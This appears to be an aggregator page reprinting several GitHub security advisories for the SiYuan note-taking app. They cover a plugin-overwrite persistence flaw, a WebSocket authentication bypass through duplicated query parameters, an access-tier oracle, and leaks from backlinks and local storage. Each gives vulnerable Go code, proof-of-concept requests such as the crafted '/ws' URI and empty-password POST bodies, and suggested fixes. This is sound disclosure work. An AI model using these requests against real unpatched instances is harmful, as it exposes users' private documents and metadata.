GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-62204&date=2026-10-25
## Summary

`installBazaarPlugin` (and the equivalent endpoints for widgets/icons/templates/themes) accept
`packageName`, `repoURL`, and `repoHash` as independent request fields with no validation that
they refer to the same package. `packageName` alone determines the install destination;
`repoURL`/`repoHash` alone determine what content gets downloaded and written there. A request
can name an already-installed, already-enabled plugin as `packageName` while pointing `repoURL`/
`repoHash` at different, attacker-influenced content, silently overwriting the existing plugin's
files.

## Affected code

`kernel/api/bazaar.go`:
```go
util.BindJsonArg("packageName", &packageName, true, true)
util.BindJsonArg("repoURL", &repoURL, true, true)
util.BindJsonArg("repoHash", &repoHash, true, true)
err := model.InstallBazaarPackage("plugins", repoURL, repoHash, packageName, 0)
```

`kernel/model/bazaar.go`:
```go
func getPackageInstallPath(pkgType, packageName string) (string, string, error) {
 case "plugins":
 return filepath.Join(util.DataDir, "plugins", packageName), "plugin.json", nil
```

`kernel/bazaar/install.go`:
```go
func installPackage(data []byte, installPath string) (err error) {
 ...
 if err = filelock.Copy(srcPath, installPath); err != nil { return }
 return
}
```

`installPath` is derived solely from `packageName`; the downloaded `data` is derived solely from
`repoURL`/`repoHash`; nothing cross-validates them, and `installPackage` performs no check for
whether `installPath` already contains an existing package before copying into it. The same
pattern applies to the widget/icon/template/theme install endpoints, which share
`getPackageInstallPath`.

This does not involve path traversal — `installPath` always resolves inside
`DataDir/plugins/` (or the corresponding directory for other package types), so this is not an
instance of "arbitrary file write outside the workspace path" (excluded by this project's
SECURITY.md). The issue is that the write lands in the *wrong, existing* location within the
intended directory, not outside it — an authorization/identity-verification gap, not a path
traversal.

## Reachability / why this is not trivially remote

The bazaar endpoints are gated by `model.CheckAuth`, `model.CheckAdminRole`, `model.CheckReadonly`.
When no lock-screen password is configured (the common desktop default), `CheckAuth` still
enforces a same-origin check:
```go
if !localhost || ... || ("" != origin && !util.IsLocalOrigin(origin)) || ... {
 // reject with 401
}
```
I verified `IsLocalOrigin`/`IsLocalHostname` correctly parse the `Origin` header via `url.Parse`
and check exact hostname / loopback IP:
```go
func IsLocalOrigin(origin string) bool {
 if u, err := url.Parse(origin); err == nil {
 return IsLocalHostname(u.Hostname())
 }
 return false
}
func IsLocalHostname(hostname string) bool {
 if "localhost" == hostname || strings.HasSuffix(hostname, ".localhost") {
 return true
 }
 if ip := net.ParseIP(hostname); nil != ip {
 return ip.IsLoopback()
 }
 return false
}
```
This was tested against common bypass patterns (subdomain-suffix tricks like
`localhost.attacker.com`, and `Origin: null` as sent by sandboxed iframes) and found no bypass —
this is a correctly-implemented check. This means a purely remote attacker (e.g. a malicious
website) cannot invoke this endpoint via CSRF; a request must originate from SiYuan's own
renderer origin.

## Realistic impact

Given SiYuan runs as an Electron app with `nodeIntegration: true` (per prior advisories in this
repository), a same-origin script-execution primitive (e.g. an XSS bug in the renderer, of which
several have been fixed in this repository recently) is typically already sufficient for direct
code execution. This bug's marginal value is **persistence**: a transient XSS-driven compromise
can use this endpoint to overwrite an existing, trusted, already-enabled plugin's `index.js`,
converting a one-time compromise into code that runs on every future launch of the application,
surviving after the original XSS vector is closed.

The overwrite does not effect immediately, via this specific
endpoint. `PushReloadPlugin` (the websocket event that triggers frontend hot-reload without
restart) is only called from the batch-update path (`InstallBazaarPackages`, used by
`batchUpdatePackage`), which explicitly checks `if petal != nil && petal.Enabled` before forcing
a reload via `SetPetalEnabled`. The single-package install endpoint (`installBazaarPlugin`) does
not call `PushReloadPlugin` at all — it only pushes a generic success toast. So an overwrite via
this endpoint activates on the next app restart or manual plugin toggle, rather than instantly 
still a realistic and frequent event for a desktop application, but not an instant hot-reload.

## Suggested fix

Verify that `packageName` matches the package name declared in the downloaded package's own
`plugin.json`/`theme.json`/etc. before copying into `installPath`, and/or refuse to install over
an existing, non-empty destination directory unless the request is explicitly an update of that
same package (matching by source repo identity, not just by request-supplied name).

## Verification notes

Confirmed via static source review of `kernel/api/bazaar.go`, `kernel/model/bazaar.go`,
`kernel/bazaar/install.go`, `kernel/model/session.go` (CheckAuth), `kernel/util/net.go`
(IsLocalOrigin/IsLocalHostname), and `kernel/model/push_reload.go` /
`app/src/plugin/loader.ts` (reload trigger wiring). I do not have a running SiYuan instance
in this environment to execute an end-to-end proof of concept; findings are based on tracing
the actual, unmodified control flow across these files rather than assumption.

Affected package ranges reported by GitHub:
github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260808010544-26ccb40d390e
Action: GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260808010544-26ccb40d390e. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SiYuan: A parser differential between the WebSocket keepalive exemption and the session quarantine allows unauthenticated access to the broadcast event stream
https://kevwire.com/record/CVE-2026-73054
SiYuan: A parser differential between the WebSocket keepalive exemption and the session quarantine allows unauthenticated access to the broadcast event stream (Oct 23, 2026).
Two checks on the same WebSocket request URI parse it differently. The authentication exemption for keepalive sessions matches raw substrings, while the quarantine introduced to contain those sessions reads a parsed query parameter. Because Go's `url.Values.Get` returns only the first value for a repeated key, a single URI can satisfy the exemption and still resolve to a non-auth session identity.

The result is that an unauthenticated remote caller connects to the kernel WebSocket with a valid access auth code configured, is placed in the general broadcast pool rather than the quarantined pool, and receives the live event stream.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-c8w8-3pqp-wr83).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73054&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-c8w8-3pqp-wr83: https://github.com/advisories/GHSA-c8w8-3pqp-wr83
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73054&date=2026-10-25
### Summary

Two checks on the same WebSocket request URI parse it differently. The authentication exemption for keepalive sessions matches raw substrings, while the quarantine introduced to contain those sessions reads a parsed query parameter. Because Go's `url.Values.Get` returns only the first value for a repeated key, a single URI can satisfy the exemption and still resolve to a non-auth session identity.

The result is that an unauthenticated remote caller connects to the kernel WebSocket with a valid access auth code configured, is placed in the general broadcast pool rather than the quarantined pool, and receives the live event stream.

### Details

**The exemption matches substrings.** `kernel/server/serve.go:1222` on the development branch, `:1074` on master:

```go
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
 strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
```

Neither operand is parsed. Any URI containing both literals is exempted, regardless of what the query actually resolves to.

**The quarantine parses.** Commit `1e370e373` added the containment for exempted sessions at `kernel/util/websocket.go:171`:

```go
id = session.Request.URL.Query().Get("id")
return "auth" == id
```

`url.Values.Get` returns the first value for a repeated key.

**The differential.** For the URI:

```
/ws?app=siyuan&id=main&type=main&id=auth&type=auth
```

- It contains `/ws?app=siyuan` and `&id=auth&type=auth`, so `authOk` is true. No cookie, no JWT and no access auth code are required.
- `Query().Get("id")` returns `main`, so `IsAuthSession` is false. `AddPushChan` files the session in `sessions`, the broadcast pool, rather than in `authSessions`.
- `Query().Get("type")` returns `main`, so the session matches `BroadcastByType("main", ...)`.
- Without a valid `X-Auth-Token` the publish flag is never set, so `isPublishSession()` does not exclude it either.

Every guard that should have caught the session keys off a different parse than the one that admitted it.

**No origin validation.** `CheckOrigin` does not appear on the `/ws` path, so the cross-origin vector described in the parent advisory also remains available.

**Distinction from the existing broadcast-pool advisory.** GHSA-mw8r-mw84-88v2 concerns the publish port, where an anonymous session is expected to connect and the defect is that broadcast content is not gated for it afterwards. This report concerns the kernel port with an access auth code configured, where the session should never be admitted in the first place. The leaked data overlaps because both end in the same broadcast pool, but the mechanisms and the affected deployments are different, and gating publish sessions does not close this path.

### Proof of Concept

Kernel port, `--accessAuthCode` set. Three WebSocket connections, none carrying credentials of any kind.

| Socket | Query | Result |
|---|---|---|
| A, baseline | `?app=siyuan&id=main&type=main` | Rejected, closed 1002, 0 frames |
| B, control | `?app=siyuan&id=auth&type=auth` | Connects, 0 frames |
| C, attack | `?app=siyuan&id=main&type=main&id=auth&type=auth` | Connects, 19 to 30 frames across two runs |

Socket A establishes that the access auth code is enforced. Socket B establishes that the existing quarantine works exactly as intended, admitting the keepalive session but delivering nothing to it. Socket C differs from B only in the duplicated parameters, and receives the event stream.

Frames observed on socket C included `savedoc` (`"action":"create","data":{"Root":{"ID": ...`), `transactions` (`"action":"updateAttrs"` carrying document titles), `filetreeSortChanged` (the notebook's complete ordered `childIDs`), `create` (a notebook object including its `name`), and `backgroundtask`.

A canary string placed inside a document body did not appear in any frame, on a full-text search of all captured frames.

### Impact

An unauthenticated remote caller obtains the kernel's live event stream on a deployment protected by an access auth code, with no user interaction and no prior knowledge of the instance.

Precisely what is disclosed: document identifiers and titles, notebook identifiers and names, file paths, the complete ordered child structure of notebooks, and the full stream of create, update and delete operations as they occur. Document body content is not present in the observed frames.

That set corresponds to the disclosure claimed by GHSA-xp2m-98x8-rpj6, which means the remediation for that advisory is bypassable rather than incomplete in scope. The absence of origin validation on the endpoint additionally preserves the cross-origin reachability described there.

Confidentiality only. No frames observed permitted writes.

### Suggested fix

Make both checks agree, and stop re-parsing attacker-controlled input after admission.

1. In the exemption, parse the query rather than matching substrings, and require `id` and `type` each to equal `auth` exactly.
2. Reject requests carrying duplicated query keys on this endpoint, so no URI can present two identities.
3. Record the exemption as a flag on the session at connect time, and have `IsAuthSession` read that flag rather than re-parsing the request. A session admitted under the keepalive exemption is then quarantined by construction, independent of how its URI is read later.

Adding origin validation to `/ws` would additionally close the cross-origin vector.

Affected package ranges reported by GitHub:
github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260731131820-67bc300b6ea6
Action: GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260731131820-67bc300b6ea6. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SiYuan: authFilePublishAccess distinguishes hidden and forbidden documents from public and nonexistent ones, and issues a publish-auth cookie for documents it reports as forbidden
https://kevwire.com/record/CVE-2026-73630
SiYuan: authFilePublishAccess distinguishes hidden and forbidden documents from public and nonexistent ones, and issues a publish-auth cookie for documents it reports as forbidden (Oct 23, 2026).
`/api/filetree/authFilePublishAccess` is registered with `CheckAuth` only and is reachable anonymously. It never sets a failure code, so its outcome is signalled entirely by the response message and by whether a `Set-Cookie` header is present. Those two signals differ across access tiers, which lets an anonymous caller determine, for any candidate document identifier, whether that document is public or nonexistent, password-protected, or exists at the hidden or forbidden tier.

Separately, hidden and forbidden entries carry an empty password. Submitting `password:""` therefore satisfies the equality check for them, and the server responds by issuing `Set-Cookie: publish-auth- ` for a document whose own tier is forbidden.
CVSS 5.8 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-4pjg-x8qj-33j5).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73630&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-4pjg-x8qj-33j5: https://github.com/advisories/GHSA-4pjg-x8qj-33j5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73630&date=2026-10-25
### Summary

`/api/filetree/authFilePublishAccess` is registered with `CheckAuth` only and is reachable anonymously. It never sets a failure code, so its outcome is signalled entirely by the response message and by whether a `Set-Cookie` header is present. Those two signals differ across access tiers, which lets an anonymous caller determine, for any candidate document identifier, whether that document is public or nonexistent, password-protected, or exists at the hidden or forbidden tier.

Separately, hidden and forbidden entries carry an empty password. Submitting `password:""` therefore satisfies the equality check for them, and the server responds by issuing `Set-Cookie: publish-auth- ` for a document whose own tier is forbidden.

### Details

**Route,** identical on both refs:

```go
ginServer.Handle("POST", "/api/filetree/authFilePublishAccess", model.CheckAuth, authFilePublishAccess)
```

No `CheckAdminRole`, no `CheckReadonly`.

**Handler,** `kernel/api/filetree.go:1608` on the development branch and `:1421` on master. `ret.Code` is never assigned on the failure path, so every response carries `code:0`. The branch is:

```go
if item.Password == password {
 // SetPublishAuthCookie
} else {
 ret.Msg = Conf.Language(285)
}
```

**The cookie is issued for forbidden documents.** Entries at the hidden and forbidden tiers store `Password == ""`. A request with `password:""` therefore makes `item.Password == password` true for them, and the handler takes the success branch. The server issues a publish-auth cookie for a document it otherwise treats as inaccessible.

The cookie itself confers nothing, because those tiers are decided before any password check elsewhere in the codebase. The defect is that the endpoint's success signal does not correspond to access being granted, and that signal is observable.

**Three distinguishable outcomes.** With `password:""`, one request per candidate identifier:

| Tier of the target | `Set-Cookie` | Body |
|---|---|---|
| Public (no publish-access entry) | absent | `{"code":0,"msg":""}` |
| Nonexistent identifier | absent | `{"code":0,"msg":""}` |
| Password-protected | absent | `{"code":0,"msg":"Password is incorrect"}` |
| Hidden | **present** | `{"code":0,"msg":""}` |
| Forbidden | **present** | `{"code":0,"msg":""}` |

Public and nonexistent are indistinguishable from each other, which is correct. Everything else separates. A caller learns whether a given identifier names a password-protected document, or a document that exists at the hidden or forbidden tier, which is precisely the class the publish tiers exist to conceal.

**Identifiers are readily available.** Document and block identifiers appear in the DOM of published pages, in reference and backlink payloads, and in annotation reference data. The caller does not need to guess them.

**A fourth response on the development branch.** `IsEncryptedPublishRuntimeTarget` sets `ret.Code = -1`, which identifies the supplied identifier as belonging to an encrypted notebook. That is a membership oracle for encrypted notebooks, the same data class as `GHSA-f2rw-w22v-54vh`.

### Proof of Concept

Publish mode enabled, `Publish.Auth.Enable` false, anonymous client. One request per candidate identifier, all with an empty password:

```
POST /api/filetree/authFilePublishAccess
{"id":" ","password":""}
```

Comparing the response message and the presence of `Set-Cookie` against the table above classifies the identifier. Documents at the hidden and forbidden tiers return a publish-auth cookie and an empty message, distinguishing them both from public documents and from identifiers that name nothing at all.

### Impact

An anonymous reader in publish mode, or any publish `RoleReader`, can classify arbitrary document identifiers by access tier and confirm the existence of documents at the hidden and forbidden tiers. On the development branch the same endpoint additionally reveals whether an identifier belongs to an encrypted notebook.

Scoped precisely: no document content is disclosed and no privilege is gained, since the issued cookie is inert for these tiers. The value is as a confirmation primitive, turning an identifier obtained elsewhere into a definite statement about a document the reader is not permitted to see.

Confidentiality only, with no integrity or availability impact.

### Suggested fix

Return an identical response for every failure and for every tier the caller may not access, with no `Set-Cookie` header and no distinguishing message. In particular, do not treat an empty stored password as a successful match: hidden and forbidden entries should short-circuit before the password comparison rather than satisfying it. The encrypted-notebook branch should return the same generic response as everything else rather than its own code.

A rate limit on this endpoint would be a reasonable additional hardening measure, though it does not address the disclosure above.

Affected package ranges reported by GitHub:
github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260731093152-c7522b8db586
Action: GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260731093152-c7522b8db586. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SiYuan: The publish filter for database backlinks consults the forbidden list instead of the visibility list, disclosing hidden-tier documents to anonymous readers
https://kevwire.com/record/CVE-2026-73049
SiYuan: The publish filter for database backlinks consults the forbidden list instead of the visibility list, disclosing hidden-tier documents to anonymous readers (Oct 23, 2026).
`/api/av/getAttributeViewBacklinks` filters its results for reader roles through `FilterAttributeViewBacklinksByPublishAccess`. That function resolves its ignore list with `GetDisablePublishAccess`, which covers only the forbidden tier. Documents at the hidden tier are absent from that list, so they pass the check.

The result is that an anonymous reader supplying a publicly visible database row receives the database name, row title and document path of rows in hidden documents that reference it.
CVSS 5.8 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-p4qw-vx5p-g984).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73049&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-p4qw-vx5p-g984: https://github.com/advisories/GHSA-p4qw-vx5p-g984
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73049&date=2026-10-25
### Summary

`/api/av/getAttributeViewBacklinks` filters its results for reader roles through `FilterAttributeViewBacklinksByPublishAccess`. That function resolves its ignore list with `GetDisablePublishAccess`, which covers only the forbidden tier. Documents at the hidden tier are absent from that list, so they pass the check.

The result is that an anonymous reader supplying a publicly visible database row receives the database name, row title and document path of rows in hidden documents that reference it.

The rest of the function is correct. It takes `*gin.Context` and calls `GetPathPasswordByPublishAccess` and `CheckPublishAuthCookie` at all four decision points, so the password-protected and private tiers are properly enforced. The defect is the choice of list, on one line.

### Details

**Route,** `kernel/api/router.go:545` on the development branch and `:527` on master:

```go
ginServer.Handle("POST", "/api/av/getAttributeViewBacklinks", model.CheckAuth, getAttributeViewBacklinks)
```

`CheckAuth` only. No `CheckAdminRole`, no `CheckReadonly`.

**The defect.** In `FilterAttributeViewBacklinksByPublishAccess` (`kernel/model/publish_access.go:1060` on dev, `:435` on master):

```go
publishIgnore := GetDisablePublishAccess(publishAccess)
```

`GetDisablePublishAccess` returns only entries at the forbidden tier. A hidden document has `visible:false`, `password:""`, `disable:false`, so it does not appear in that list. `CheckPathAccessableByPublishIgnore` therefore returns true for it, and because the password is empty the authentication branch short-circuits. Hidden documents pass both halves of the check.

**The sibling filter uses the correct list.** The regular backlink panel is the same product feature in the same UI, and it is gated properly. `kernel/api/ref.go:170` `getBacklink2` calls `FilterPathsByPublishAccess`, which at `kernel/model/publish_access.go:1256` resolves its list with `GetInvisiblePublishAccess`. Two backlink filters in the same file, opposite list choices.

**The distinction the tiers are meant to draw.** The shipped description of the hidden tier, from `app/appearance/langs/en.json`:

```
publishAccessHiddenComment = "Not publicly visible, can be accessed directly."
```

A direct-access endpoint using the forbidden list is consistent with that: hidden documents are meant to be reachable when the caller already knows the identifier. Backlink discovery is not direct access. The caller supplies the target row and receives the identities of referring rows it never named, which is enumeration, and enumeration is precisely what "not publicly visible" excludes.

**Origin.** The filter was introduced by `6da2c736e` (2026-07-18, "Show database relation backlinks in the attribute panel", #10599) with this list choice from the start. No security-focused commit has touched the attribute-view backlink path since.

**What is returned.** Per matched backlink: `AvName` (the database name), `Title` (the row title), `DatabasePath` (the HPath of the containing document), `BoxID`, `DatabaseBlockID`, and `Relations[].KeyName`. These are author-written names and titles, not opaque identifiers.

### Proof of Concept

Publish mode enabled, `Publish.Auth.Enable` false, anonymous client with no credentials or cookies. Document A is public and holds a database with a row. Document B is set to varying tiers and holds a database whose relation field points at A's row. The attacker needs only A's `avID` and `itemID`, both present in the DOM of A's own published page.

Listing control first, establishing that the platform agrees B must not be listed:

```
POST /api/filetree/listDocsByPath
→ returns only the public document
```

Then the same backlinks request at four tier settings, spaced to clear the 30-second `GetPublishAccess()` cache:

| Tier of document B | Result |
|---|---|
| Hidden (`visible:false`, no password, `disable:false`) | `total:1`, with `avName`, `title`, `databasePath` and `relations[].keyName` for the row in B |
| Forbidden (`disable:true`) | `total:0` |
| Private (password set) | `total:0` |
| Hidden again (restored) | `total:1`, reproducible |

The forbidden row confirms that the disable list is what the filter consults. The private row confirms that the password half works correctly. The gap is the hidden tier alone.

```
POST /api/av/getAttributeViewBacklinks
{"avID":" ","itemID":" "}

→ 200, total:1, disclosing the database name, row title and document path
 of a document the same session cannot list
```

### Impact

An anonymous reader in publish mode, or any publish `RoleReader`, discovers that a hidden document contains a database row referencing a public one, and receives that row's title, its database's name, and the containing document's path. Names and titles are author-written and routinely describe their subject, so this discloses both the existence and the topic of documents the author marked as not publicly visible.

The reader does not need to know anything about the hidden document beforehand. The only input is a public row identifier taken from a page they are already entitled to view.

Confidentiality only, with no integrity or availability impact. No document body content is returned.

### Suggested fix

Change the list resolution in `FilterAttributeViewBacklinksByPublishAccess` to `GetInvisiblePublishAccess`, mirroring `FilterPathsByPublishAccess` on the regular backlink path. The password handling in the function is already correct and needs no change.

Affected package ranges reported by GitHub:
github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260730150429-5b42614311b0
Action: GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260730150429-5b42614311b0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized
https://kevwire.com/record/GHSA-xp3q-r38w-vgqm
SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized (Oct 23, 2026).
That advisory concerned the administrator's live UI layout, and commit `63c7d5474` resolved it by removing `FilterUILayoutByPublishIgnore` and nulling `Conf.UILayout` for readers. That fix is correct and complete for the live layout.

This report concerns a different endpoint, a different filter function and a different storage backing. `/api/storage/getLocalStorage` reads `data/storage/local.json` rather than `Conf.UILayout`, and its filter `FilterLocalStorageByPublishAccess` was not touched by that commit. The consequence is that the same serialized tab objects the earlier fix withheld continue to be served, from the closed-tab history rather than the live layout.
CVSS 5.8 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-xp3q-r38w-vgqm).
Sources:
GitHub-reviewed advisory GHSA-xp3q-r38w-vgqm: https://github.com/advisories/GHSA-xp3q-r38w-vgqm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Relationship to GHSA-hgfg-j9pg-43xw

That advisory concerned the administrator's live UI layout, and commit `63c7d5474` resolved it by removing `FilterUILayoutByPublishIgnore` and nulling `Conf.UILayout` for readers. That fix is correct and complete for the live layout.

This report concerns a different endpoint, a different filter function and a different storage backing. `/api/storage/getLocalStorage` reads `data/storage/local.json` rather than `Conf.UILayout`, and its filter `FilterLocalStorageByPublishAccess` was not touched by that commit. The consequence is that the same serialized tab objects the earlier fix withheld continue to be served, from the closed-tab history rather than the live layout.

### Summary

Three routes, `/api/storage/getLocalStorage`, `getLocalStorageVal` and `getLocalStorageVals`, are registered with `CheckAuth` only and are reachable by the publish `RoleReader` token and anonymously when `Publish.Auth.Enable` is `false`. All three call `model.GetLocalStorage()` and then, for read-only roles, `FilterLocalStorageByPublishAccess`.

That filter begins by assigning the administrator's entire storage map to its return value and then removes three specific fields. Everything else in the map is returned unmodified. A single unauthenticated POST with an empty body returns the administrator's recently closed tabs with their document titles and identifiers, their current search keywords and the paths those searches cover, the expanded private paths in their file tree, and per-document identifiers from several other keys.

### Details

**Routes.** `kernel/api/router.go:87-89` on master, the same block on the development branch:

```go
ginServer.Handle("POST", "/api/storage/getLocalStorage", model.CheckAuth, getLocalStorage)
ginServer.Handle("POST", "/api/storage/getLocalStorageVal", model.CheckAuth, getLocalStorageVal)
ginServer.Handle("POST", "/api/storage/getLocalStorageVals", model.CheckAuth, getLocalStorageVals)
```

No `CheckAdminRole`, no `CheckReadonly`.

